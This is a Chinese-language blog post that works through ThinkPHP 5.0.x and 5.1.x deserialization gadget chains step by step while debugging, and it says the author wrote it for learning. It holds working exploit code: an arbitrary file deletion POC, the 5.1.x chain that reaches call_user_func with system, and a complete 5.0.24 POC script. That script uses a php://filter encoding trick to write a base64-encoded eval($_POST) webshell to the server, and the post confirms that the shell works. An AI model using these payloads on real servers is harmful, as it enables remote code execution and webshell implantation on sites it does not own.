Z1d10tのBlog

A note for myself,have fun!

  1. 1. 基础知识
    1. 1.1. namespace命名空间和子命名空间
    2. 1.2. 类的继承
    3. 1.3. trait修饰符
  2. 2. 5.1.x版本分析
    1. 2.1. 环境搭建
    2. 2.2. 挖掘
    3. 2.3. 修复
  3. 3. 5.2.x版本分析
  4. 4. 5.0.x版本分析
    1. 4.1. 环境搭建
    2. 4.2. 挖掘
  5. 5. 结尾
  6. 6. 参考:

Thinkphp5.0.x~5.2.x版本反序列化链挖掘学习

基础知识

namespace命名空间和子命名空间

首先我们需要知道为什么需要命名空间呢?

在大型PHP项目中,可能存在大量的类,函数和常量,而这些可能来自不同的库和团队,为了避免冲突,php就引进了命名空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
namespace Animals\cat;
class cat{
public function __construct(){
echo "miao~"."\n";
}
}
$cat = new cat();


namespace Animals\dog;
class dog{
public function __construct(){
echo "wow"."\n";
}
}
$Dog = new dog();


namespace Animals\bird;
class bird{
public function __construct(){
echo "6"."\n";
}
}
$Bird = new bird();

?>

以上例子中 Animals就是一个命令空间 而cat dog bird 都是其子命名空间

在创建实例的时候这里也有讲究

一种是直接在相关类之后进行创建实例 比如:

1
2
3
4
5
6
7
namespace Animals\cat;
class cat{
public function __construct(){
echo "miao~"."\n";
}
}
$cat = new cat();

一种是可以在任意地方创建 但是要加上命名空间 即:\命名空间\子命令空间\class类名

img

还有一个知识点是利用use 在这里可以理解为是require inlcude这样的函数

即可以在当前命名空间使用引入其他命名空间

比如根据代码顺序 我们创建实例的代码都属于是bird命名空间里的

也就是bird无需指定命名空间 直接申明即可

img

如果使用use 则直接创建实例时无需在之前加上命名空间了

img

类的继承

通过关键字extends来实现

通过一个demo简单理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class father{
public $name = "Tom";
public $age = 100;
public function saysomething(){
echo "father is saying"."\n";
}
public function sleeping(){
echo "i am sleeping"."\n";
}
}
class son extends father{
public $name = "Lihua";
public function saysomething(){
echo "son is saying"."\n";
}
public function parentsaying(){
parent::saysomething();
}
}
$Son = new son;
echo $Son->age."\n";
$Son->saysomething();
$Son->parentsaying();
?>

img

可以看到子类会继承父类中的属性和方法,当然只限于(public和protected类型而private是无法继承也无法访问的)子类同名函数会覆盖父类,子类也可以通过parent::method访问父类被覆盖的方法。

trait修饰符

trait修饰符使得被修饰的类可以复用,增加了代码的复用性

即我们可以在一个类中包含一个被trait修饰的类 并且使用其方法和属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
trait test{
public $a = "ok";
public function test(){
echo "test\n";
}
}

class impl{
use test;
public function __construct()
{
echo "impl\n";
}

}
$t=new impl();
$t->test();
echo $t->a;

img

还有一个b神例子也可以来理解一下 方便之后去调试thinkphp链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
namespace np1\A;

use np2\A\Boogipop;

class Z1d10t{
use Boogipop;
public function __construct()
{
echo "dawn_construct\n";
}
}
<?php
namespace np2\A;
require("2.php");
use np1\A\Z1d10t;
trait Boogipop{
public function __toString()
{
echo "tostring\n";
return "";
}
}
$a=new Z1d10t();
echo $a;

img

可以看到我们用trait修饰了Boogipop类并且在Z1d10t中use复用了它

然后我们创建一个Z1d10t的类 并且直接输出他

那么我们知道当直接输出一个对象时候就会调用__toString魔术方法

但是Z1d10t中并没有__toStiring魔术方法而Boogipop类中有却被调用了 这就很神奇了

5.1.x版本分析

环境搭建

  • php7.3.4+Xdebug+thinkphp5.1.37+phpstudy+phpstorm

那么当然是看官方文档https://www.thinkphp.cn/doc

这里建议在安装时老老实实利用composer 用git的时候报了好多错

把下载的源码包放到phpstudy根目录下

然后就是phpstudy联动phpstorm 推荐一篇文章:phpstorm+phpstudy调试thinkphp_如何在phpstorm中调试php程序-CSDN博客

这里遇到的坑就是我composer下载指定thinkphp版本为5.1.37时 他自动下载为thinkphp5.1.42

折磨了我一下午 最终问gpt得到了解决方法

在我们下好thinkphp5.1.42目录下 有个composer.json 将原来的5.1.*改为指定的5.1.37

img

然后 composer update 他就会自动重新帮我们拉取依赖

img

最终解决了 可以愉快的调试了

挖掘

首先我们需要设置一个触发点 将控制器中的index控制器修改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\index\controller;

class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

然后在反序列化入口函数处打一个断点

img

先测试我们的poc 可以发现是可以正常触发的

img

接下来一步步调试

首先是进入了Windows.php的Windows类的析构函数

我们观察poc 也可以发现最外层套的是think\process\pipes\Windows对象 因此首先会进入该对象img

这里windows类还继承了Pipes这个抽象类

img

继续跟进 进入了removeFIles这个函数中

img

该方法会遍历files数组 然后删除

这里调用了一个$this->files并且$files是可控的因此这里还存在一个任意文件删除的漏洞

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}

echo base64_encode(serialize(new Windows()));
?>

file_exists函数对$filename进行处理 并且此时$filename会被当作字符串string进行处理

img

并且根据我们的poc可知 我们传入的是 Pivot对象

img

img

那当一个对象当作字符串被处理时,会触发__toString魔术方法

继续跟进 发现难道不应该触发Pivot函数的__toString魔术方法吗 为什么会跳到Conversion对象

img

这里就用到了之前说的trait复用的知识点了

我们可以看到 Convertion被trait修饰了

img

并且Pivot对象基类是Model 它内部没有toString魔术方法

但是构造函数中调用的是父类的构造方法

img

我们继续跟进Model类 可以发现它use了model\concern\Conversion

img

因此Model复用了Conversion类 而它又是Pivot类的父类

当Pivot对象被当作字符串输出的时候 就会调用Conversion类的toString方法

这也就是为什么我跟进链子到了 Converison类的tostring方法了

思路清晰 继续

接着调用了toJson函数

img

接着调用了toArray函数 然后转为了json字符串 继续跟进toArray

先遍历this->append属性 取出键值对 对应我们poc中的

img

key为Z1d10t

img

接着进入getRelation函数中

img

因为我们没有给$this->relation赋值 因此return null就结束并且出来了

img

接着进入getAttr函数

poc中我们将$this->data赋值为一个对象 因此return一个Request对象之后 就会退出该方法 出来

img

img

$relation变为了Request对象

img

调用$relation->visible() 并且参数为[calc,calc.exe] 而Requset类是没有visible函数的

因此会调用它的__call方法

一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用

1
2
__call_user_func($method, $args) 
__call_user_func_array([$obj,$method], $args)

我们跟进它

发现它调用 call_user_func_array方法 这可不是一个好方法:)

并且这里$hook是我们可控的 因此我们可以设计一个数组$hook= {“visable”=>”任意method”}

img

但是在这里array_unshift函数在之前的[calc,calc.exe]数组开头中插入Request对象

img

img

我们知道call_user_func_array函数会把第一个参数作为回调函数调用,第二参数是一个数组,并且将数组作为回调函数的参数

img

$this->hook为一个数组并且我们可控 然后取键名为visible的值

那么我们只能是(偷的)

1
2
3
call_user_func_array([$obj,"任意方法"],[$this,任意参数])
也就是
$obj->$func($this,$argv)

那这里需要知道的是回调函数不光只是简简单单的普通函数

还可以是对象的方法 包括静态类方法

img

因此这里就可以理解上述中call_user_func_array中第一个参数函数格式为[$obj,"任意方法"]也就是对象的方法

而参数由于array_unshift函数的缘故第一个为$this也就是一个对象

$obj->$func($this,$argv)那么直接用这种方式去RCE 很难的拉

此时就要用到了Request类中一个特殊的功能就是过滤器filter

并且ThinkPHP中的多个RCE漏洞都是由于这个过滤器

所以我们可以去尝试覆盖filter方法去RCE

我们先来看看这个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

该方法调用了call_user_func 但是在这里$value参数不可直接控

继续寻找

发现input函数调用了这个filterValue

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

但是这里参数仍旧不可控 不能直接使用

那么继续看看谁调用了input 套娃就完事了

那么这里是找到了param函数 不过参数仍旧不可控

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

继续寻找谁调用了param

找到了 isAjax函数

img

1
2
3
4
5
6
7
8
9
10
11
12
public function isPjax($pjax = false)
{
$result = !is_null($this->server('HTTP_X_PJAX')) ? true : false;

if (true === $pjax) {
return $result;
}

$result = $this->param($this->config['var_pjax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

而isAjax函数中 我们可控$this->config['var_pjax']

意味着param函数中$name可控

意味着input函数中的$name可控

在这里 以上我们说什么可控 什么不可控应该怎么判断呢

可以直接看类属性 类中明确定义了某个属性 那么这个属性我们就可以重写来控制

而param函数可以获得$_GET数组 并且赋值给$this->param

1
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

img

跟进input

img

跟进getData

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}
$data=$data[$val]=$data[$name]

从GET数组中获取键名为Z1d10t的键值

并且返回值就是我们的命令

img

接着进入getFilter函数获取filter属性

img

在param函数中filter首先为空 然后在这里用$this->filter赋值 因此我们可以再poc中重新赋值为system

img

然后在$filter数组追加一个default 值为null 没大用 然后返回

img

img

最后进入filterValue函数

img

用array_pop弹出数组末尾的元素 因此只剩下了system

img

然后再调用call_user_func方法 完成RCE

img

ok 让我们再来梳理一下思路

这里我们可以从两个方向正向与反向去分析比较清晰

正向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
\thinkphp\library\think\process\pipes\Windows.php - > __destruct()
\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
Windows.php:file_exists() 由于传入了new Pivot() 将对象当作了字符串处理 触发__toString
由于Pivot类没有__toString 但是他继承了Model类 但是该类也不存在 然而它复用了Conversion类 可以用它的toString
因此到了Conversion类
thinkphp\library\think\model\concern\Conversion.php - > __toString()
__toString中又调用了toJon
thinkphp\library\think\model\concern\Conversion.php - > toJson()
tojson()中又调用了toarray()
toarray中存在调用visible()这个函数 此时思路为如果调用某个对象不存在的函数 那么会触发__call()
并且Conversion类中$this->data类属性我们可控 getAttr()会获取键为Z1d10t的值 我们给他赋值一个对象Request
因此到了Request类
thinkphp\library\think\Request.php - > __call()
该call函数中有call_user_func_array是可以执行命令但是 由于arary_unshift函数我们的参数第一个为一个对象因此没法愉快的执行函数
此时正向就先断开了

反向

1
2
3
4
5
6
7
8
9
10
11
前面由于参数不理想 我们没法愉快的执行函数 因此我们只好寻找其他方法
那么存在filterValue这个过滤器函数 该函数直接存在call_user_func($filter,$value)
在这里我们$filter是直接可控的 但是呢 $value是不可直接控制的 因此通过链式调用去看看哪个函数可以控制该$value
最后找到input函数中调用了filterValue()
thinkphp\library\think\Request.php - > input() $data由param()的$param控制 $name由param()的name控制
thinkphp\library\think\Request.php - > param() $param通过get方式传参可控 $name可控由isAjax()可控
thinkphp\library\think\Request.php - > isAjax() 它传给param()的$this->config['var_ajax']是可控的 使得param() $name可控
那么依次是找到了isAjax()->param()->input()->filterValue() (以上过程倒着看)
依次执行函数需要的$value可控了 只需要用正向最后拿到的call_user_func_array()将isAjax()串起来
那么整条链子就通了
thinkphp\library\think\Request.php - > filterValue()

偷包浆的图 这个图思路太清晰了

img

修复

直接把__call()方法砍了 后面的链子也就断掉了

5.2.x版本分析

这里官方已经把Thinkphp5.2.x升级为Thinkphp6.0因此没法下载5.2.x的源码包

寄 网上找不到相关源码包

之后在6.x分析再回顾吧

img

可以看这位师傅的thinkphp5.1.x~5.2.x版本反序列化链挖掘分析 - 先知社区

5.0.x版本分析

环境搭建

  • php7.3.4+Xdebug+thinkphp5.0.24+phpstudy+phpstorm

和上面一样准备一个二次反序列化入口 替换/application/index/controller/index.php

img

poc:(影响版本5.0.24和5.0.18,5.0.9不可用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php

//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];

public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}

//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;

public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}

//getModel
namespace think\db{
class Query
{
protected $model;

public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}

namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}

//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query=$query; //调用Query类的getModel

$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}

namespace think\session\driver{
class Memcached{
protected $handler = null;

public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}

namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;


}
}

namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);

echo base64_encode(serialize($windows));
}

将生成的payload 在首先给input传参 (原谅这里为什么是thinkphp5.1 只要\thinkphp\base.php显示版本是正确的即可)

img

然后访问/public/a.php3b58a9545013e88c7186db11bb158c44.php

密码为ccc 可见是可以打通的

img

可以看一下我们写马上去的文件内容 可见不是正常的一句话 里面其实还包括了filterchain的知识点

一句话理解就是利用base64、iconv等编码组合构造出特定的php代码进而完成无需临时文件的RCE 并且可以绕过死亡函数

img

挖掘

首先我们的入口点还是Windows.php的析构函数 前面一部分的链子和5.1.x的差不多

img

继续跟进 到了removeFiles() 这里还是一样由于直接把对象当作字符串传入file_exists函数 因此导致会触发__toString()

但是和5.1.x的链子不同的是5.0.x的model类有__toSting() 因此不需要use 5.1.x的被trait修饰的Converison类用它的__toString()

img

继续跟进 到toJson()

img

然后进到了toArray()函数

img

这里有四个断点我们需要着重分析

img

首先这里$relation是通过parseName方法完成的 顺便提一嘴 这里调用方法方式是通过静态方法调用的

那这里我们需要知道$name 的值是通过遍历$this->append数组赋值的为getError

img

那这里有个疑惑就是我们poc中是给Pivot类的$this->append赋值的

img

为什么这里Model直接用呢 因为Model是Pivot的父类 因此父类可以直接调用子类的protected修饰的属性

ok 我们继续跟进分析一下

这里type=1进入if语句 直接返回getError

img

此时$relation为getError 继续到 method_exists函数

Model这个类是有getError函数的

img

因此会进入 这里的error可控 并且我们设置为了HasOne对象

img

同样poc中也是可以体现出来的

img

第一个断点至此先说到这里 我们继续跟进第二个断点

是对$value进行赋值

img

这里有一个很长的if条件语句的判断

1
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))

我们一部分一部分来看

条件一:

之前我们5.1版本的时候在__toSring这一部分的时候是触发了__call方法,那么我们在这的目标也是去寻找合适的call方法,那么最终是找到了think\console\Output我们应该让这个方法返回一个output对象 这样等我们出去之后 执行$value->getAttr($attr)就会触发__call();额,因此这里value的值为$this-parent,所以我们需要赋值为一个output对象

条件二:

$modelRelation我们已经对它赋值了HasOne对象了

img

我们跟进isSelfRelation()方法 它是Relation类的一个方法

img

而OneToOne是它的子类 img

HasOne是OneToOne的一个子类img

因此我们控制HasOne->selfRelation为false即可

条件三:get_class($modelRelation->getModel()) == get_class($this->parent)

之前我们说到让$this->parent为一个Output对象即可 因此这里条件成立的就是让$modelRelation->getModel()返回一个output对象

我们跟进这个函数观察一下

img

那么思路就是看看哪个类使用了同名getModel函数 并且方法我们可控

那么最后找到是Query类

img

因此我们这里只需要$this->query为Query的一个对象即可

那么三个条件均满足 然后$value = $this->parent我们就出来了

接着进入第三个断点

img

这里$modelRelation是HasOne对象 调用它的getBindAttr方法 其实它没有 调用的是它的父类OneToOne的方法

返回一个数组["a"=>"admin"]

img

出来之后 我们对bindAttr数组做了遍历 取出了admin值 并且赋值给$attr 准备进入__call方法

img

value为Output对象 attr为admin

img

继续跟进

img

用array_unshift函数将方法名也就是getAttr加到参数数组中 最后为["getAttr","admin"]

然后用call_user_func_array()调用自己的block方法

img

跟进该方法 调用了writeln方法 并且值为我们当作参数传入的数组内容

img

继续跟进writeln 又调用了write方法

img

那么我们全局搜索看看谁调用了write函数 在Memcached类找到了合适的write方法

因此让Output类中$this->handler为Memecached对象即可

img

这里又调用了set方法 我们继续set方法

最后发现File类中调用了set方法 所以这里我们让Memcache类中的$this->handler为File对象即可

img

继续向下走 我们可以看到这里有直接写php🐎的语句 但是有死亡exit()我们可以利用编解码绕过 php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

这里就不过多赘述了 参考:https://www.cnblogs.com/meng-han/p/16849600.html

然后还有file_put_contents() 危险函数

img

$filename通过getCacheKey函数获得的 我们跟进

这里的name为我们之前参数数组中两个值getAttr和admin拼接的 然后计算其md5值赋值为$name

63ac11a7699c5c57d85009296440d77a

img

接着到$this->options['path'] 这里我们是可控的 也就是文件名我们可控 设置为我们的特殊编解码paylaod

img

文件最终名为$name 也就是之前计算的md5值 再加上$this->options['path']两部分构成的

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php

虽然此时我们文件名可控了但是$value为true 也就是文件内容$data我们不可控

img

继续分析这里会调用setTagItem这个函数 我们跟进观察

img

该函数又会调用一次set函数 那么此时$value的值我们是可控的 也就是传进来的$name也就是$filename

img

那么此时传入set的$name$key=tag_c4ca4238a0b923820dcc509a6f75849b

img

但是这里还有一个问题 就是exit()死亡函数的绕过 我们写入文件的内容受到这个函数的影响

并且内容就是我们的文件名 因此只需要我们将文件名构造为特殊的可以吞掉exit()的编码即可

img

所以会生成两个文件 只有第二个文件内容才是我们想要的

并且第二个文件名为"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php"+md5(tag_c4ca4238a0b923820dcc509a6f75849b).php

产出的文件名为:a.php3b58a9545013e88c7186db11bb158c44.php

这里文件名也有讲究 我们可以看到我们的文件名应该是aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php"+md5(tag_c4ca4238a0b923820dcc509a6f75849b).php这一坨才对

最后为什么只生成了我们想要的a.php3b58a9545013e88c7186db11bb158c44.php

我们将前面的一串base64字符整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成a.php3b58a9545013e88c7186db11bb158c44.php文件,从而就可以生成正常的文件名。

参考:探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户

再偷一份包浆整个流程图片 整理整理思路

img

至此分析完美撒花

结尾

不能只是一味的为了解题而去刷题不去深究真正的漏洞原因

看了很多厉害师傅的博客 深深的e住了

不把屎一样的东西搬出来抽象了 放在雨雀上自己看看就好了

这也是为什么停了博客一个月了qwq,深思中。。。

还有就是期末了 也e 要给时间复习了

参考:

ThinkPHP5.x反序列化漏洞全复现 - Boogiepop Doesn’t Laugh

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析 - 先知社区

探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户

本文最后更新于 天前,文中所描述的信息可能已发生改变